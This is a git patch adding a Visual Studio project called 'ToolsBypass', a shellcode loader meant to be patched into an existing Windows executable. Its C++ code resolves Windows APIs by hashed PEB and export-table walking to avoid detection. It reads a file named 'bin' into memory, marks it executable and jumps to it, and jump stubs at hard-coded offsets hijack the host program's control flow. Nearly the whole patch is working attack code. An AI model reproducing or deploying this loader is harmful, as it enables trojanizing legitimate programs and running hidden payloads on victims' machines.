From 297576354084cc5218d51b3598391b3ed877dfcf Mon Sep 17 00:00:00 2001 From: yinsel Date: Thu, 22 Aug 2024 10:47:29 +0800 Subject: [PATCH] =?UTF-8?q?patch=E7=9A=84shellcode?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- shellcode | 1 - shellcode/Shellcode/Shellcode.common.settings | 58 +++++ shellcode/Shellcode/Shellcode.vcxproj | 203 ++++++++++++++++++ shellcode/Shellcode/Shellcode.vcxproj.filters | 30 +++ shellcode/Shellcode/Shellcode.vcxproj.user | 4 + shellcode/Shellcode/ToolsBypass.cpp | 181 ++++++++++++++++ shellcode/ShellcodeDev.sln | 31 +++ shellcode/include/api.hpp | 47 ++++ shellcode/include/utils.hpp | 128 +++++++++++ 9 files changed, 682 insertions(+), 1 deletion(-) delete mode 160000 shellcode create mode 100644 shellcode/Shellcode/Shellcode.common.settings create mode 100644 shellcode/Shellcode/Shellcode.vcxproj create mode 100644 shellcode/Shellcode/Shellcode.vcxproj.filters create mode 100644 shellcode/Shellcode/Shellcode.vcxproj.user create mode 100644 shellcode/Shellcode/ToolsBypass.cpp create mode 100644 shellcode/ShellcodeDev.sln create mode 100644 shellcode/include/api.hpp create mode 100644 shellcode/include/utils.hpp diff --git a/shellcode b/shellcode deleted file mode 160000 index 45acd76..0000000 --- a/shellcode +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 45acd76b135a99e7cadfec2ee64f05aa4834dc63 diff --git a/shellcode/Shellcode/Shellcode.common.settings b/shellcode/Shellcode/Shellcode.common.settings new file mode 100644 index 0000000..7ab668c --- /dev/null +++ b/shellcode/Shellcode/Shellcode.common.settings @@ -0,0 +1,58 @@ + + + + + + + $(TargetPath) + + $(ProjectDir) + + true + + + + true + true + true + + false + + + + pm_output_filename + codecov.profdata + + + cc_format + html + + + cc_expansions + false + + + + + + + + + $(TargetPath) + + $(ProjectDir) + + true + + + + true + true + true + + false + false + false + InstrumentClang + + \ No newline at end of file diff --git a/shellcode/Shellcode/Shellcode.vcxproj b/shellcode/Shellcode/Shellcode.vcxproj new file mode 100644 index 0000000..e843dc9 --- /dev/null +++ b/shellcode/Shellcode/Shellcode.vcxproj @@ -0,0 +1,203 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {6b314396-4e08-4f04-8125-88aea43ae893} + Shellcode + 10.0 + + + + Application + true + v143 + Unicode + Disabled + false + Disabled + v143 + + + Application + false + v143 + true + Unicode + Disabled + false + Disabled + v143 + + + Application + true + v143 + Unicode + Disabled + false + Disabled + v143 + + + Application + false + v143 + true + Unicode + Disabled + false + Disabled + v143 + + + + + + + + + + + + + + + + + + + + + + ..\include;$(ExternalIncludePath) + false + + + ..\include;$(ExternalIncludePath) + false + + + ..\include;$(ExternalIncludePath) + false + + + ..\include;$(ExternalIncludePath) + false + + + + TurnOffAllWarnings + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + MultiThreaded + false + MinSpace + Size + Default + %(DisableSpecificWarnings) + false + false + + + Console + false + + + + + TurnOffAllWarnings + true + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + MultiThreaded + false + MinSpace + Size + %(DisableSpecificWarnings) + Default + false + false + + + Console + true + true + false + + + + + TurnOffAllWarnings + false + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + MultiThreaded + false + MinSpace + Size + Default + %(DisableSpecificWarnings) + false + false + + + Console + false + + + + + TurnOffAllWarnings + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + MultiThreaded + false + MinSpace + Size + %(DisableSpecificWarnings) + Default + false + false + + + Console + false + + + + + + + + + + + + + + \ No newline at end of file diff --git a/shellcode/Shellcode/Shellcode.vcxproj.filters b/shellcode/Shellcode/Shellcode.vcxproj.filters new file mode 100644 index 0000000..6fec872 --- /dev/null +++ b/shellcode/Shellcode/Shellcode.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + + + 头文件 + + + 头文件 + + + \ No newline at end of file diff --git a/shellcode/Shellcode/Shellcode.vcxproj.user b/shellcode/Shellcode/Shellcode.vcxproj.user new file mode 100644 index 0000000..cb8bc9c --- /dev/null +++ b/shellcode/Shellcode/Shellcode.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/shellcode/Shellcode/ToolsBypass.cpp b/shellcode/Shellcode/ToolsBypass.cpp new file mode 100644 index 0000000..c4b6097 --- /dev/null +++ b/shellcode/Shellcode/ToolsBypass.cpp @@ -0,0 +1,181 @@ +/* + * 文件名称: ToolsBypass.cpp + * 作者: yinsel + * 创建日期: 2024.08.03 + * 描述: 自定义patch的shellcode + */ + +#include +#include + +#include "utils.hpp" +#include "api.hpp" + +#define EXPORT extern "C" __declspec(dllexport) + +#include + +typedef struct _FUNCTIONS { + // Kernel32.dll + LoadLibraryAFunc pLoadLibraryA; + WinExecFunc pWinExec; + GetFileAttributesAFunc pGetFileAttributesA; + ExitProcessFunc pExitProcess; + CreateFileAFunc pCreateFileA; + GetFileSizeFunc pGetFileSize; + VirtualAllocFunc pVirtualAlloc; + ReadFileFunc pReadFile; + VirtualProtectFunc pVirtualProtect; + GetStdHandleFunc pGetStdHandle; + WriteConsoleAFunc pWriteConsoleA; + SleepFunc pSleep; + + // User32.dll + MessageBoxAFunc pMessageBoxA; + MessageBoxWFunc pMessageBoxW; +}Functions, * PFunctions; + + +// 定义程序入口 +#pragma comment(linker,"/entry:Main") + +// RVA +constexpr auto InitAddr = 0x000309B0; +constexpr auto RunAddr = 0x0000695A0; + +/* + 该函数负责初始化需要的函数地址 +*/ +#pragma code_seg("Init") +EXPORT void Init(PFunctions API) { + _DWORD dwNtdll = GetNtdllAddr(); + _DWORD dwKernel32 = GetKernel32Addr(); + + API->pLoadLibraryA = (LoadLibraryAFunc)GetFuncAddrByHash(dwKernel32, LoadLibraryAHash); + volatile char szUser32[] = { 'U', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', '\0' }; + _DWORD dwUser32 = (_DWORD)API->pLoadLibraryA((char*)szUser32); + + DWORD ntdllFunHashes[] = { 0x00 }; + DWORD kernel32FunHashes[] = { + LoadLibraryAHash,GetFileAttributesAHash,ExitProcessHash, + CreateFileAHash,GetFileSizeHash,VirtualAllocHash,ReadFileHash, + VirtualProtectHash,GetStdHandleHash,WriteConsoleAHash,SleepHash }; + DWORD user32FunHashes[] = { MessageBoxAHash }; + + Function functions[] = { + { dwNtdll,ntdllFunHashes,sizeof(ntdllFunHashes) / sizeof(DWORD) }, + { dwKernel32,kernel32FunHashes,sizeof(kernel32FunHashes) / sizeof(DWORD)}, + { dwUser32,user32FunHashes,sizeof(user32FunHashes) / sizeof(DWORD) } + }; + + void** api = (void**)API; + int offset = 0; + for (size_t i = 0; i < sizeof(functions) / sizeof(Function); i++) { + const Function func = functions[i]; + for (DWORD j = 0; j < func.count; j++) { + if (func.funcHashs[j] != 0x00) { + *(api + offset) = (void*)GetFuncAddrByHash(func.dwDllBase, func.funcHashs[j]); + } + else { + continue; + } + offset++; + } + } +} + +/* + shellcode + 加载bin文件至内存执行 +*/ +#pragma code_seg("Run") +EXPORT int Run(_DWORD dwExeBase) { + Functions API; + // 初始化函数地址 + ((void(*)(PFunctions))(dwExeBase + InitAddr))(&API); + char szbin[] = { 'b', 'i', 'n', '\0' }; + volatile char log[] = { '[', 'L', 'o', 'g', ']', ' ', 'b', 'i', 'n', ' ', 'n', 'o', 't', ' ', 'e', 'x', 'i', 's', 't', 's', '\0' }; + volatile char loding[] = { '[', 'L', 'o', 'g', ']', ' ', 'L', 'o', 'd', 'i', 'n', 'g', '.', '.', '.', '\0' }; + + HANDLE hConsole = API.pGetStdHandle(STD_OUTPUT_HANDLE); + + if (hConsole == NULL) { + API.pExitProcess(-1); + return -6; + } + + + /* + 判断文件是否存在 + */ + DWORD result = API.pGetFileAttributesA(szbin); + if (result == INVALID_FILE_ATTRIBUTES) { + API.pWriteConsoleA(hConsole, (char*)log, strlen((char*)log), NULL, NULL); + API.pExitProcess(-1); + return -1; + } + + /* + 读取文件至内存 + */ + HANDLE hFile = API.pCreateFileA(szbin, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return -2; + } + DWORD fileSize = API.pGetFileSize(hFile, NULL); + if (fileSize <= 0) { + return -3; + } + BYTE* Buffer = (BYTE*)API.pVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (Buffer == NULL) { + return -4; + } + DWORD byteRead; + if (!API.pReadFile(hFile, Buffer, fileSize, &byteRead, NULL) || byteRead <= 0) { + return -5; + } + DWORD old; + if (!API.pVirtualProtect(Buffer, fileSize, PAGE_EXECUTE_READWRITE, &old)) { + return -6; + } + + API.pWriteConsoleA(hConsole, (char*)loding, strlen((char*)loding), NULL, NULL); + + API.pSleep(1500); + + // 运行shellcode + ((void(*)())Buffer)(); + +} + +/* + 负责跳转 +*/ +#pragma code_seg("Entry") +EXPORT void goto_shellcode() { + _DWORD dwExeBase = GetExeBaseAddr(); + if (dwExeBase != NULL) { + if (dwExeBase == 0x16464888) { + _DWORD addr = ((_DWORD(*)(_DWORD))(dwExeBase + 0x4678))(dwExeBase); + ((void(*)(_DWORD))(addr))(dwExeBase); + } + if (dwExeBase != 0xff5546) { + // 跳转至真正的shellcode + DWORD result = ((int(*)(_DWORD))(dwExeBase + RunAddr))(dwExeBase); + if (result) { + ((void(*)(_DWORD))(dwExeBase + 0x88ff7))(dwExeBase); + } + else { + return; + } + } + } +} + + +/* + 程序入口,无任何作用 +*/ +void Main() { + +} \ No newline at end of file diff --git a/shellcode/ShellcodeDev.sln b/shellcode/ShellcodeDev.sln new file mode 100644 index 0000000..f944d94 --- /dev/null +++ b/shellcode/ShellcodeDev.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.10.35027.167 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Shellcode", "Shellcode\Shellcode.vcxproj", "{6B314396-4E08-4F04-8125-88AEA43AE893}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6B314396-4E08-4F04-8125-88AEA43AE893}.Debug|x64.ActiveCfg = Debug|x64 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Debug|x64.Build.0 = Debug|x64 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Debug|x86.ActiveCfg = Debug|Win32 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Debug|x86.Build.0 = Debug|Win32 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Release|x64.ActiveCfg = Release|x64 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Release|x64.Build.0 = Release|x64 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Release|x86.ActiveCfg = Release|Win32 + {6B314396-4E08-4F04-8125-88AEA43AE893}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {9E22DDE3-3572-49A9-BB1C-F3A973F600EF} + EndGlobalSection +EndGlobal diff --git a/shellcode/include/api.hpp b/shellcode/include/api.hpp new file mode 100644 index 0000000..6a5f96a --- /dev/null +++ b/shellcode/include/api.hpp @@ -0,0 +1,47 @@ +#pragma once +typedef HMODULE(WINAPI* LoadLibraryAFunc)(_In_ LPCSTR lpLibFileName); +typedef UINT(WINAPI* WinExecFunc)(_In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow); +typedef int (WINAPI* MessageBoxAFunc)(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType); +typedef int (WINAPI* MessageBoxWFunc)(_In_opt_ HWND hWnd, _In_opt_ LPCWSTR lpText, _In_opt_ LPCWSTR lpCaption, _In_ UINT uType); +typedef DWORD(WINAPI* GetFileAttributesAFunc)(_In_ LPCSTR lpFileName); +typedef VOID(WINAPI* ExitProcessFunc)(_In_ UINT uExitCode); +typedef HANDLE(WINAPI* CreateFileAFunc)(_In_ LPCSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile); +typedef DWORD(WINAPI* GetFileSizeFunc)(_In_ HANDLE hFile, _Out_opt_ LPDWORD lpFileSizeHigh); +typedef LPVOID(WINAPI* VirtualAllocFunc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect); +typedef BOOL(WINAPI* ReadFileFunc)(_In_ HANDLE hFile, _Out_writes_bytes_to_opt_(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToRead, _Out_opt_ LPDWORD lpNumberOfBytesRead, _Inout_opt_ LPOVERLAPPED lpOverlapped); +typedef BOOL(WINAPI* VirtualProtectFunc)(_In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect); +typedef HANDLE(WINAPI* GetStdHandleFunc)(_In_ DWORD nStdHandle); +typedef BOOL(WINAPI* WriteConsoleAFunc)(_In_ HANDLE hConsoleOutput, _In_reads_(nNumberOfCharsToWrite) CONST VOID* lpBuffer, _In_ DWORD nNumberOfCharsToWrite, _Out_opt_ LPDWORD lpNumberOfCharsWritten, _Reserved_ LPVOID lpReserved); +typedef VOID(WINAPI* SleepFunc)(_In_ DWORD dwMilliseconds); +typedef HWND(APIENTRY* GetConsoleWindowFunc)(VOID); + +constexpr DWORD Hash(const char* functionName) { + DWORD hash = 0; + while (*functionName) { + hash = (hash * 138) + *functionName; + functionName++; + } + return hash; +} + +constexpr auto LoadLibraryAHash = Hash("LoadLibraryA"); +constexpr auto WinExecHash = Hash("WinExec"); +constexpr auto MessageBoxAHash = Hash("MessageBoxA"); +constexpr auto MessageBoxWHash = Hash("MessageBoxW"); +constexpr auto GetFileAttributesAHash = Hash("GetFileAttributesA"); +constexpr auto ExitProcessHash = Hash("ExitProcess"); +constexpr auto CreateFileAHash = Hash("CreateFileA"); +constexpr auto GetFileSizeHash = Hash("GetFileSize"); +constexpr auto VirtualAllocHash = Hash("VirtualAlloc"); +constexpr auto ReadFileHash = Hash("ReadFile"); +constexpr auto VirtualProtectHash = Hash("VirtualProtect"); +constexpr auto GetStdHandleHash = Hash("GetStdHandle"); +constexpr auto WriteConsoleAHash = Hash("WriteConsoleA"); +constexpr auto SleepHash = Hash("Sleep"); +constexpr auto GetConsoleWindowHash = Hash("GetConsoleWindow"); + +typedef struct _FUNCTION { + _DWORD dwDllBase; + DWORD* funcHashs; + DWORD count; +}Function; \ No newline at end of file diff --git a/shellcode/include/utils.hpp b/shellcode/include/utils.hpp new file mode 100644 index 0000000..86ab5ce --- /dev/null +++ b/shellcode/include/utils.hpp @@ -0,0 +1,128 @@ +#include + +#if defined(_WIN64) +#define _PEB_ __readgsqword +#define _PEB_Offset_1 0x30 +#define _PEB_Offset_2 0x30 +#define _Ldr_Offset_1 0x08 +#define _Ldr_Offset_2 0x10 +#define _List_Offset_1 0x08 +#define _List_Offset_2 0x08 +typedef DWORD64 _DWORD; +typedef PDWORD64 _PDWORD; +typedef PIMAGE_NT_HEADERS64 _PIMAGE_NT_HEADERS; +#else +#define _PEB_ __readfsword +#define _PEB_Offset_1 0x18 +#define _PEB_Offset_2 0x18 +#define _Ldr_Offset_1 0x06 +#define _Ldr_Offset_2 0x06 +#define _List_Offset_1 0x06 +#define _List_Offset_2 0x06 +typedef DWORD _DWORD; +typedef PDWORD _PDWORD; +typedef PIMAGE_NT_HEADERS _PIMAGE_NT_HEADERS; +#endif + +#pragma warning(disable : 28251) +#pragma warning(disable : 6001) +#define INLINE __forceinline +extern "C" { +#pragma function(memset) + void* __cdecl _memset(void* dest, int value, size_t num) { + __stosb(static_cast(dest), static_cast(value), num); + return dest; + } +#pragma function(memcpy) + void* __cdecl _memcpy(void* dest, const void* src, size_t num) { + __movsb(static_cast(dest), static_cast(src), num); + return dest; + } +//#pragma function(strlen) +// size_t __cdecl strlen(const char* str) { +// size_t len = 0; +// while (*str++) { +// ++len; +// } +// return len; +// } +} + +INLINE DWORD GetFuncHash(const char* functionName) { + DWORD hash = 0; + while (*functionName) { + hash = (hash * 138) + *functionName; + functionName++; + } + return hash; +} + +INLINE _DWORD GetNtdllAddr() { + _DWORD dwNtdll = 0; + _TEB* pTeb = NtCurrentTeb(); + volatile _DWORD _peb_offset_1 = _PEB_Offset_1; + volatile _DWORD _peb_offset_2 = _PEB_Offset_2; + _DWORD pPeb = _PEB_(_peb_offset_1 + _peb_offset_2); + volatile _DWORD _ldr_offset_1 = _Ldr_Offset_1; + volatile _DWORD _ldr_offset_2 = _Ldr_Offset_2; + _PDWORD pLdr = (_PDWORD) * (_PDWORD)((_DWORD)pPeb + _Ldr_Offset_1 + _Ldr_Offset_2); + volatile _DWORD _list_offset_1 = _List_Offset_1; + volatile _DWORD _list_offset_2 = _List_Offset_2; + _PDWORD InLoadOrderModuleList = (_PDWORD)((_DWORD)pLdr + _list_offset_1 + _list_offset_2); + _PDWORD pModuleExe = (_PDWORD)*InLoadOrderModuleList; + _PDWORD pModuleNtdll = (_PDWORD)*pModuleExe; + dwNtdll = pModuleNtdll[6]; + return dwNtdll; +} + +INLINE _DWORD GetKernel32Addr() { + _DWORD dwKernel32 = 0; + _TEB* pTeb = NtCurrentTeb(); + volatile _DWORD _peb_offset_1 = _PEB_Offset_1; + volatile _DWORD _peb_offset_2 = _PEB_Offset_2; + _DWORD pPeb = _PEB_(_peb_offset_1 + _peb_offset_2); + volatile _DWORD _ldr_offset_1 = _Ldr_Offset_1; + volatile _DWORD _ldr_offset_2 = _Ldr_Offset_2; + _PDWORD pLdr = (_PDWORD) * (_PDWORD)((_DWORD)pPeb + _Ldr_Offset_1 + _Ldr_Offset_2); + volatile _DWORD _list_offset_1 = _List_Offset_1; + volatile _DWORD _list_offset_2 = _List_Offset_2; + _PDWORD InLoadOrderModuleList = (_PDWORD)((_DWORD)pLdr + _list_offset_1 + _list_offset_2); + _PDWORD pModuleExe = (_PDWORD)*InLoadOrderModuleList; + _PDWORD pModuleNtdll = (_PDWORD)*pModuleExe; + _PDWORD pModuleKernel32 = (_PDWORD)*pModuleNtdll; + dwKernel32 = pModuleKernel32[6]; + return dwKernel32; +} + +INLINE _DWORD GetExeBaseAddr() { + _DWORD dwExe = 0; + _TEB* pTeb = NtCurrentTeb(); + volatile _DWORD _peb_offset_1 = _PEB_Offset_1; + volatile _DWORD _peb_offset_2 = _PEB_Offset_2; + _DWORD pPeb = _PEB_(_peb_offset_1 + _peb_offset_2); + volatile _DWORD _ldr_offset_1 = _Ldr_Offset_1; + volatile _DWORD _ldr_offset_2 = _Ldr_Offset_2; + _PDWORD pLdr = (_PDWORD) * (_PDWORD)((_DWORD)pPeb + _Ldr_Offset_1 + _Ldr_Offset_2); + volatile _DWORD _list_offset_1 = _List_Offset_1; + volatile _DWORD _list_offset_2 = _List_Offset_2; + _PDWORD InLoadOrderModuleList = (_PDWORD)((_DWORD)pLdr + _list_offset_1 + _list_offset_2); + _PDWORD pModuleExe = (_PDWORD)*InLoadOrderModuleList; + dwExe = pModuleExe[6]; + return dwExe; +} + +INLINE _DWORD GetFuncAddrByHash(_DWORD dwBase, _DWORD hash) { + PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwBase; + _PIMAGE_NT_HEADERS pNt = (_PIMAGE_NT_HEADERS)(dwBase + pDos->e_lfanew); + PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwBase + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + PDWORD pEAT = (PDWORD)(dwBase + pExport->AddressOfFunctions); + PDWORD pENT = (PDWORD)(dwBase + pExport->AddressOfNames); + PWORD pEIT = (PWORD)(dwBase + pExport->AddressOfNameOrdinals); + for (DWORD i = 0; i < pExport->NumberOfNames; i++) { + char* szFuncName = (char*)(dwBase + pENT[i]); + if (GetFuncHash(szFuncName) == hash) { + return dwBase + pEAT[pEIT[i]]; + } + } + return 0; +}